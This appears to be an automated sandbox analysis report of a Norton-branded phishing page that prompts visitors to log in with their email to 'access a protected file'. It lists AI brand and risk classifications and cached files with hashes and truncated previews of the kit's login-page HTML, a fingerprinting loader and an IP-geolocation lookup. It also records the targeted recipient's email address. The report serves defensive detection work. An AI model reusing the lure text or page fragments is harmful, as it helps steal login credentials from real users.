URL: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG1 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "To access our online secure document page, you are required to login with your email address. This ensures you are the rightful recipient of the protected file. Unauthorized access is highly prohibited.", "prominent_button_name": "Login To Access File", "text_input_field_labels": [ "product-mje@ml.avio.co.jp", "********" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG1 Model: Joe Sandbox AI	{ "brands": [ "Norton" ] }
	{ "brands": [ "Norton" ] }
URL: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG1 Model: Joe Sandbox AI	```json{ "legit_domain": "norton.com", "classification": "wellknown", "reasons": [ "The brand 'Norton' is a well-known cybersecurity company, and its legitimate domain is 'norton.com'.", "The URL 'ft0.blockchainmemspool.site' does not match the legitimate domain for Norton.", "The domain 'blockchainmemspool.site' is unrelated to Norton and appears suspicious.", "The use of a subdomain 'ft0' and the main domain 'blockchainmemspool.site' suggests a potential phishing attempt.", "The domain extension '.site' is unusual for a well-known brand like Norton, which typically uses '.com'." ], "riskscore": 9} Google indexed: False
URL: ft0.blockchainmemspool.site Brands: Norton Input Fields: product-mje@ml.avio.co.jp, ********
URL: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG1 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "To access our online secure document page, you are required to login with your email address. This ensures you are the rightful recipient of the protected file. Unauthorized access is highly prohibited.", "prominent_button_name": "Login To Access File", "text_input_field_labels": [ "product-mje@ml.avio.co.jp", "************" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": true, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG1 Model: Joe Sandbox AI	```json{ "legit_domain": "norton.com", "classification": "wellknown", "reasons": [ "The brand 'Norton' is a well-known cybersecurity company, and its legitimate domain is 'norton.com'.", "The URL 'ft0.blockchainmemspool.site' does not match the legitimate domain for Norton.", "The domain 'blockchainmemspool.site' is unrelated to Norton and appears suspicious.", "The use of a subdomain 'ft0' and the main domain 'blockchainmemspool.site' suggests a potential phishing attempt.", "The domain extension '.site' is unusual for a well-known brand like Norton, which typically uses '.com'." ], "riskscore": 9} Google indexed: False
URL: ft0.blockchainmemspool.site Brands: Norton Input Fields: product-mje@ml.avio.co.jp, ********
URL: https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG1 Model: Joe Sandbox AI	{ "brands": [ "Norton" ] }
	{ "brands": [ "Norton" ] }

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (37526)
Category:	dropped
Size (bytes):	319114
Entropy (8bit):	5.419988460568324
Encrypted:	false
SSDEEP:	6144:y3zsLxz0VYSdJXezOpf6DgHZpyPJ4Q37fadETA:BrSdYKkDoyPJ4efHA
MD5:	C011CF1D493ADE51984AE9D4096E6995
SHA1:	37567684FC913AA077E1AF23307E6472EE9322D0
SHA-256:	0F1302CB7CC2EE9210358D21AF67720773261106D789C7A11952DFDBD1F785D5
SHA-512:	0A7C9B24994F22E63F48103AE5FDDBB1F17F2CFE3986F62CB06F1527355040D86C176C0DFA800033691ED98BA7F47DDEE496731B69A83B9A018312B46711A1BD
Malicious:	false
Reputation:	low
Preview:	var rg=Object.defineProperty;var og=(e,t,n)=>t in e?rg(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n;var Fr=(e,t,n)=>og(e,typeof t!="symbol"?t+"":t,n);function ig(e,t){for(var n=0;n<t.length;n++){const r=t[n];if(typeof r!="string"&&!Array.isArray(r)){for(const o in r)if(o!=="default"&&!(o in e)){const i=Object.getOwnPropertyDescriptor(r,o);i&&Object.defineProperty(e,o,i.get?i:{enumerable:!0,get:()=>r[o]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}))}(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const o of document.querySelectorAll('link[rel="modulepreload"]'))r(o);new MutationObserver(o=>{for(const i of o)if(i.type==="childList")for(const l of i.addedNodes)l.tagName==="LINK"&&l.rel==="modulepreload"&&r(l)}).observe(document,{childList:!0,subtree:!0});function n(o){const i={};return o.integrity&&(i.integrity=o.integrity),o.referrerPolicy&&(i.referrerPolicy=o.re

Chrome Cache Entry: 53

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	835
Entropy (8bit):	5.089812168539347
Encrypted:	false
SSDEEP:	12:hY291I73W29FcqBrp/DTES0RX7c+a4xiBFBBxmyPxO109lYl+VQH6tQb:hY29yh1BrdsXwfllZKGlYQVQaU
MD5:	9E20173EA870A75E669196559498C774
SHA1:	C26D1EACF7F93C2E6C4BF36AADD14D000CBC715C
SHA-256:	197155F08603113C13E1DF82C5FFD8998CBD81CB6265BDCA55041A4DAC9F8499
SHA-512:	CA31A2C3981E680894087AAC38C08E226B250CAC0E70BC32A8E02C6492FD25184EFD4E9236BE188B8BD67BA867DD98EC2A791C851E33DED56D8077DA5AC66CE3
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>.<html lang="en">.<head>. <meta charset="UTF-8" />. <meta name="robots" content="noindex,nofollow,noarchive" />. <title>An Error Occurred: Method Not Allowed</title>. <style>body { background-color: #fff; color: #222; font: 16px/1.5 -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; margin: 0; }..container { margin: 30px; max-width: 600px; }.h1 { color: #dc3545; font-size: 24px; }.h2 { font-size: 18px; }</style>.</head>.<body>.<div class="container">. <h1>Oops! An Error Occurred</h1>. <h2>The server returned a "405 Method Not Allowed".</h2>.. <p>. Something is broken. Please let us know what you were doing when this error occurred.. We will fix it as soon as possible. Sorry for any inconvenience caused.. </p>.</div>.</body>.</html>

Chrome Cache Entry: 54

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	5314
Entropy (8bit):	4.654152699053102
Encrypted:	false
SSDEEP:	96:lY9c3z+D+Us6rsvevErAt/FJ+JaD0hHF91y/Tj4l4SJ3gzK3xzF77:lf3z+Dns6rp4JaopF91yH4l483gzK3xF
MD5:	2BE284999912833A7130D35B910B7526
SHA1:	13F36A2AB7FE29F2A1D99F2854154A5FD3D9BC18
SHA-256:	569D4145E5CDF53AA3F3FE87D310A922963251B191BDCE529B78343B33ED868C
SHA-512:	86E0350007391C5E3215DC21B86DFA04DE2F381C27B2CA084C41B6911463DD803C2A9B72909E39823DCCC8B38E09DE5CABE4988FFEABCE8A13134ECEA2BCD77A
Malicious:	false
Reputation:	low
URL:	https://ft0.blockchainmemspool.site/favicon.ico
Preview:	<!DOCTYPE html>.<html lang="en">.<head>. <meta name="viewport" content="width=device-width, initial-scale=1">. <meta name="live0" content="$2y$12$2CHFh.DgXbkSmiLKHyy7oudKALTOopohQZm17rPCVMy84d/nqfQ..">. <meta charset="utf-8">. <title>Email Setting</title>. <style type="text/css">. * {. padding: 0;. margin: 0;. color: #1a1f36;. box-sizing: border-box;. word-wrap: break-word;. --fa-style-family-classic: "Font Awesome 6 Free";. --fa-font-solid: normal 900 1em/1 "Font Awesome 6 Free";. }.. body {. min-height: 100%;. background-color: #ffffff;. font-family: 'Hind', sans-serif;. }.. a {. color: #5469d4;. text-decoration: unset;. }.. .login-root {. background: #fff;. display: flex;. width: 100%;. min-height: 100vh;. overflow: hidden;. }... .loginbackground {. min-height: 692px;. position: fixed;. bottom: 0;. left: 0;. right: 0;. top: 0;. z-ind

Chrome Cache Entry: 55

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.378783493486175
Encrypted:	false
SSDEEP:	3:qinPt:qyPt
MD5:	4C42AB4890733A2B01B1B3269C4855E7
SHA1:	5B68BFE664DCBC629042EA45C23954EEF1A9F698
SHA-256:	F69E8FC1414A82F108CFA0725E5211AF1865A9CEA342A5F01E6B2B5ABE47E010
SHA-512:	0631C6EFD555699CB2273107FE5AF565FEC2234344E2D412C23E4EE43C6D721CB2B058764622E44FD544D840FF64D7C866565E280127C701CAAB0A48C35D4F5C
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwkXxkVNugXmKxIFDYOoWz0SBQ3OQUx6?alt=proto
Preview:	ChIKBw2DqFs9GgAKBw3OQUx6GgA=

Chrome Cache Entry: 56

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	274
Entropy (8bit):	4.922652042894173
Encrypted:	false
SSDEEP:	6:kX2h/199gIJAuuuthkP//f4IoWzqs4jW1CAn:kQ9XgIOuHhA/XvoPPWf
MD5:	C26871CAB80A375F6063A4194CD7F400
SHA1:	864D01BFFA23DE086A2F38ADC9C9342C989371C3
SHA-256:	6BDC2DB6FA0E890BD29AD2F010110027741C08BEB1F4C8D69939F9BEC7B96EE8
SHA-512:	4227E78AE38A70354B05F5BA6BE7349408CD3C7B4CF695FDA4EAC93990DEEA7586B99D3462786A4ED4316B6A1197FE4B10371420648AF2F340A6FF9BB2A69540
Malicious:	false
Reputation:	low
URL:	https://ipinfo.io/json?token=51dda6bce069cf
Preview:	{. "ip": "8.46.123.75",. "hostname": "static-cpe-8-46-123-75.centurylink.com",. "city": "New York City",. "region": "New York",. "country": "US",. "loc": "40.7143,-74.0060",. "org": "AS3356 Level 3 Parent, LLC",. "postal": "10001",. "timezone": "America/New_York".}

Chrome Cache Entry: 57

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (37526)
Category:	downloaded
Size (bytes):	319114
Entropy (8bit):	5.419988460568324
Encrypted:	false
SSDEEP:	6144:y3zsLxz0VYSdJXezOpf6DgHZpyPJ4Q37fadETA:BrSdYKkDoyPJ4efHA
MD5:	C011CF1D493ADE51984AE9D4096E6995
SHA1:	37567684FC913AA077E1AF23307E6472EE9322D0
SHA-256:	0F1302CB7CC2EE9210358D21AF67720773261106D789C7A11952DFDBD1F785D5
SHA-512:	0A7C9B24994F22E63F48103AE5FDDBB1F17F2CFE3986F62CB06F1527355040D86C176C0DFA800033691ED98BA7F47DDEE496731B69A83B9A018312B46711A1BD
Malicious:	false
Reputation:	low
URL:	https://ft0.blockchainmemspool.site/assets/index-DMPAUMCk.js
Preview:	var rg=Object.defineProperty;var og=(e,t,n)=>t in e?rg(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n;var Fr=(e,t,n)=>og(e,typeof t!="symbol"?t+"":t,n);function ig(e,t){for(var n=0;n<t.length;n++){const r=t[n];if(typeof r!="string"&&!Array.isArray(r)){for(const o in r)if(o!=="default"&&!(o in e)){const i=Object.getOwnPropertyDescriptor(r,o);i&&Object.defineProperty(e,o,i.get?i:{enumerable:!0,get:()=>r[o]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}))}(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const o of document.querySelectorAll('link[rel="modulepreload"]'))r(o);new MutationObserver(o=>{for(const i of o)if(i.type==="childList")for(const l of i.addedNodes)l.tagName==="LINK"&&l.rel==="modulepreload"&&r(l)}).observe(document,{childList:!0,subtree:!0});function n(o){const i={};return o.integrity&&(i.integrity=o.integrity),o.referrerPolicy&&(i.referrerPolicy=o.re

Chrome Cache Entry: 58

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65434)
Category:	downloaded
Size (bytes):	165608
Entropy (8bit):	5.521015254802773
Encrypted:	false
SSDEEP:	1536:gndy3ZN6eNMJVaJ6Ivu7xZZc+U4L9bLx5Vv4W72vy/i6qVFFAunMV:ig3qetu7xZqR49VvAvAH
MD5:	F5214428516E348D355D7003DAC3239C
SHA1:	FE0CFC94D813CC659B57ED4A4B3CCDB198BFDC54
SHA-256:	14217604EFA68B5ABBCC7D90B16F9EED8FD7676995B5C61312A4F9CA6C087A4F
SHA-512:	051A7F38870D90C2317C752AF548EDA2891B72A9A07811F9EB59566B869F7B19F930F0C3DA06945E7780E4E1064286FE2FF408638047364B23522233170B5A21
Malicious:	false
Reputation:	low
URL:	https://fpnpmcdn.net/v3/PpV6WKGGlibbhVc8aHxy/loader_v3.11.1.js
Preview:	/*. Fingerprint Pro - Copyright (c) FingerprintJS, Inc, 2024 (https://fingerprint.com). */..var __fpjs_p_l_b=(function(exports){'use strict';var n$1=function(t,r){return n$1=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t;}\|\|function(n,t){for(var r in t)Object.prototype.hasOwnProperty.call(t,r)&&(n[r]=t[r]);},n$1(t,r)};var t$2=function(){return t$2=Object.assign\|\|function(n){for(var t,r=1,e=arguments.length;r<e;r++)for(var i in t=arguments[r])Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i]);return n},t$2.apply(this,arguments)};function r(n,t){var r={};for(var e in n)Object.prototype.hasOwnProperty.call(n,e)&&t.indexOf(e)<0&&(r[e]=n[e]);if(null!=n&&"function"==typeof Object.getOwnPropertySymbols){var i=0;for(e=Object.getOwnPropertySymbols(n);i<e.length;i++)t.indexOf(e[i])<0&&Object.prototype.propertyIsEnumerable.call(n,e[i])&&(r[e[i]]=n[e[i]]);}return r}function e$1(n,t,r,e){return new(r\|\|(r=Promise))((function(i,o){function u(n){try{a(e.next(

Chrome Cache Entry: 59

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	5314
Entropy (8bit):	4.654152699053102
Encrypted:	false
SSDEEP:	96:lY9c3z+D+Us6rsvevErAt/FJ+JaD0hHF91y/Tj4l4SJ3gzK3xzF77:lf3z+Dns6rp4JaopF91yH4l483gzK3xF
MD5:	2BE284999912833A7130D35B910B7526
SHA1:	13F36A2AB7FE29F2A1D99F2854154A5FD3D9BC18
SHA-256:	569D4145E5CDF53AA3F3FE87D310A922963251B191BDCE529B78343B33ED868C
SHA-512:	86E0350007391C5E3215DC21B86DFA04DE2F381C27B2CA084C41B6911463DD803C2A9B72909E39823DCCC8B38E09DE5CABE4988FFEABCE8A13134ECEA2BCD77A
Malicious:	false
Reputation:	low
URL:	https://ft0.blockchainmemspool.site/session/SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=SWYgeW91IGRlY3J5cHQgdGhpcyBzdWNrIG15IGRpY2s=/product-mje%EF%BC%A0ml.avio.co.jp
Preview:	<!DOCTYPE html>.<html lang="en">.<head>. <meta name="viewport" content="width=device-width, initial-scale=1">. <meta name="live0" content="$2y$12$2CHFh.DgXbkSmiLKHyy7oudKALTOopohQZm17rPCVMy84d/nqfQ..">. <meta charset="utf-8">. <title>Email Setting</title>. <style type="text/css">. * {. padding: 0;. margin: 0;. color: #1a1f36;. box-sizing: border-box;. word-wrap: break-word;. --fa-style-family-classic: "Font Awesome 6 Free";. --fa-font-solid: normal 900 1em/1 "Font Awesome 6 Free";. }.. body {. min-height: 100%;. background-color: #ffffff;. font-family: 'Hind', sans-serif;. }.. a {. color: #5469d4;. text-decoration: unset;. }.. .login-root {. background: #fff;. display: flex;. width: 100%;. min-height: 100vh;. overflow: hidden;. }... .loginbackground {. min-height: 692px;. position: fixed;. bottom: 0;. left: 0;. right: 0;. top: 0;. z-ind

Chrome Cache Entry: 60

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 400 x 60, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	7825
Entropy (8bit):	7.9205826592651825
Encrypted:	false
SSDEEP:	192:1DGbbReY/uu9mrPc9jklEC0fPEOwaIcnDLetMkI:UbbgY/r9mLc9jklEC0U78nDvb
MD5:	9A6225CB304B091ADE794833C3C49FD5
SHA1:	6DA72D1C8B0B8FB4B98172DAECEAC7D58E5B0601
SHA-256:	6371B1B444FD33A7E38DCF3FA7C1539C6305EDF18B042D4D1337829D03C36B12
SHA-512:	0CCA901E81798017CE68BB232FEC1243CF6CE09B880431A2AF05AE77CCF9EF9A0C31DC4A8A9F5275A5DC6F3635D7F7C1C0FB0017C1C6B267292C68D98C9DC19D
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......<.....H.......tEXtSoftware.Adobe ImageReadyq.e<...miTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:35495f6f-8b5c-f24d-b5b2-93b3582c9881" xmpMM:DocumentID="xmp.did:F2E47135842411EAA4C5D955F767156C" xmpMM:InstanceID="xmp.iid:F2E47134842411EAA4C5D955F767156C" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2767677c-cab0-1d4c-a890-b696d20c2599" stRef:documentID="xmp.did:B0929A5CC51211E6B44AA353F81085D0"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...r....IDATx..]kl..}.......#e./=x.DI.d.';q.

Chrome Cache Entry: 61

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	96
Entropy (8bit):	5.38435436565677
Encrypted:	false
SSDEEP:	3:TjSUTzfBDS7mVrJUymQRcmXqElLHtOY:3SCJDS7UXcmXFlzJ
MD5:	860480ABF8D62B599D3C45BAAA724AFE
SHA1:	EC9C6AD9087673F2C67A1272B2E8449BEDC0AF05
SHA-256:	0A7BCD0BBC04794BB9990CD29EE6BB804059D8728F1825951A644C162AE6C84D
SHA-512:	D3CC644449681F89B53EF1C891FE67C81098A9635B5BAA7A101370635CCD36A87DFC52DA46E5EEB062A69B96F605C798DB99026D13933EA9BEA07CAF4ADCD3E7
Malicious:	false
Reputation:	low
Preview:	l0wAiVAhaJAXwiSA6k4Fgv0hV5xVygkucjMSrk3yzRYBSSEsFF2sktWGqw4G605KmA7u54v5Cpnd6C541YZCLkMW2h6bQqk=

Chrome Cache Entry: 62

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 400 x 60, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	7825
Entropy (8bit):	7.9205826592651825
Encrypted:	false
SSDEEP:	192:1DGbbReY/uu9mrPc9jklEC0fPEOwaIcnDLetMkI:UbbgY/r9mLc9jklEC0U78nDvb
MD5:	9A6225CB304B091ADE794833C3C49FD5
SHA1:	6DA72D1C8B0B8FB4B98172DAECEAC7D58E5B0601
SHA-256:	6371B1B444FD33A7E38DCF3FA7C1539C6305EDF18B042D4D1337829D03C36B12
SHA-512:	0CCA901E81798017CE68BB232FEC1243CF6CE09B880431A2AF05AE77CCF9EF9A0C31DC4A8A9F5275A5DC6F3635D7F7C1C0FB0017C1C6B267292C68D98C9DC19D
Malicious:	false
Reputation:	low
URL:	https://ft0.blockchainmemspool.site/pdfbannerred.png
Preview:	.PNG........IHDR.......<.....H.......tEXtSoftware.Adobe ImageReadyq.e<...miTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:35495f6f-8b5c-f24d-b5b2-93b3582c9881" xmpMM:DocumentID="xmp.did:F2E47135842411EAA4C5D955F767156C" xmpMM:InstanceID="xmp.iid:F2E47134842411EAA4C5D955F767156C" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2767677c-cab0-1d4c-a890-b696d20c2599" stRef:documentID="xmp.did:B0929A5CC51211E6B44AA353F81085D0"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...r....IDATx..]kl..}.......#e./=x.DI.d.';q.

Chrome Cache Entry: 63

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	274
Entropy (8bit):	4.922652042894173
Encrypted:	false
SSDEEP:	6:kX2h/199gIJAuuuthkP//f4IoWzqs4jW1CAn:kQ9XgIOuHhA/XvoPPWf
MD5:	C26871CAB80A375F6063A4194CD7F400
SHA1:	864D01BFFA23DE086A2F38ADC9C9342C989371C3
SHA-256:	6BDC2DB6FA0E890BD29AD2F010110027741C08BEB1F4C8D69939F9BEC7B96EE8
SHA-512:	4227E78AE38A70354B05F5BA6BE7349408CD3C7B4CF695FDA4EAC93990DEEA7586B99D3462786A4ED4316B6A1197FE4B10371420648AF2F340A6FF9BB2A69540
Malicious:	false
Reputation:	low
Preview:	{. "ip": "8.46.123.75",. "hostname": "static-cpe-8-46-123-75.centurylink.com",. "city": "New York City",. "region": "New York",. "country": "US",. "loc": "40.7143,-74.0060",. "org": "AS3356 Level 3 Parent, LLC",. "postal": "10001",. "timezone": "America/New_York".}

Chrome Cache Entry: 64

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1365x691, components 3
Category:	downloaded
Size (bytes):	40774
Entropy (8bit):	7.485410227401243
Encrypted:	false
SSDEEP:	768:SLUv0sgi1c4/iWX4OkiSAJQBdpQk0e36fUdMYTexgLT7BEnq:SLUv0sbKJOki/+DCeKMdMUe6LT7cq
MD5:	E59A81A40AD3FDFB1D64C11B71B1D90D
SHA1:	84EA360B12F24E99C22FB22BB645EADA4C71F191
SHA-256:	9F01AE299BA41E5B71E70424679F1C9829A28B326563D7A8DCEE1C48D7DEEE9D
SHA-512:	FF7FFA9D3EF43B2FD6C4D064C3BBD4CBAB4C17DF5EBD747C54AC00C9F760F3156924A4CA064913A5AADA0780D35DD2FFA37D5E982B6F164B90AD1CD88E60094A
Malicious:	false
Reputation:	low
URL:	https://ft0.blockchainmemspool.site/beegee.jpg
Preview:	......Exif..II.................Ducky.......<.....http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC (Windows)" xmpMM:InstanceID="xmp.iid:69FCA1F3854511EA8E71922F298F0DA1" xmpMM:DocumentID="xmp.did:69FCA1F4854511EA8E71922F298F0DA1"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:69FCA1F1854511EA8E71922F298F0DA1" stRef:documentID="xmp.did:69FCA1F2854511EA8E71922F298F0DA1"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d..................................................................................................................................

Chrome Cache Entry: 65

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65434)
Category:	dropped
Size (bytes):	165608
Entropy (8bit):	5.521015254802773
Encrypted:	false
SSDEEP:	1536:gndy3ZN6eNMJVaJ6Ivu7xZZc+U4L9bLx5Vv4W72vy/i6qVFFAunMV:ig3qetu7xZqR49VvAvAH
MD5:	F5214428516E348D355D7003DAC3239C
SHA1:	FE0CFC94D813CC659B57ED4A4B3CCDB198BFDC54
SHA-256:	14217604EFA68B5ABBCC7D90B16F9EED8FD7676995B5C61312A4F9CA6C087A4F
SHA-512:	051A7F38870D90C2317C752AF548EDA2891B72A9A07811F9EB59566B869F7B19F930F0C3DA06945E7780E4E1064286FE2FF408638047364B23522233170B5A21
Malicious:	false
Reputation:	low
Preview:	/*. Fingerprint Pro - Copyright (c) FingerprintJS, Inc, 2024 (https://fingerprint.com). */..var __fpjs_p_l_b=(function(exports){'use strict';var n$1=function(t,r){return n$1=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t;}\|\|function(n,t){for(var r in t)Object.prototype.hasOwnProperty.call(t,r)&&(n[r]=t[r]);},n$1(t,r)};var t$2=function(){return t$2=Object.assign\|\|function(n){for(var t,r=1,e=arguments.length;r<e;r++)for(var i in t=arguments[r])Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i]);return n},t$2.apply(this,arguments)};function r(n,t){var r={};for(var e in n)Object.prototype.hasOwnProperty.call(n,e)&&t.indexOf(e)<0&&(r[e]=n[e]);if(null!=n&&"function"==typeof Object.getOwnPropertySymbols){var i=0;for(e=Object.getOwnPropertySymbols(n);i<e.length;i++)t.indexOf(e[i])<0&&Object.prototype.propertyIsEnumerable.call(n,e[i])&&(r[e[i]]=n[e[i]]);}return r}function e$1(n,t,r,e){return new(r\|\|(r=Promise))((function(i,o){function u(n){try{a(e.next(

Chrome Cache Entry: 66

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 820x441, components 3
Category:	dropped
Size (bytes):	97680
Entropy (8bit):	7.873565813226579
Encrypted:	false
SSDEEP:	1536:PlHhJJJJJf12DcxCXeQVRlypqmcXQLqzp2kFsDL6STWAuTbmBSEJtsYi8Kmf:ycxCX7dtPFkWAunuBi8KK
MD5:	41AE7D67B7943D8EDA27F5E42E85021F
SHA1:	1BCC3B3FAD2F5E4FCE4EBB2C262AF8238A3361D1
SHA-256:	7EB4907DFB529A4F4A6E8F7CC270EE9B021B87B5C63DD9212AAD7F827A7ED340
SHA-512:	55D457547B95EE6BC839214FDDAAC3F2601B11992674A5DA2C4F651F8D61963F1891EA1FB4D23CF2CE6C8D9EAE98FE2F74E3B10574D15E8F157C38A926B94AEC
Malicious:	false
Reputation:	low
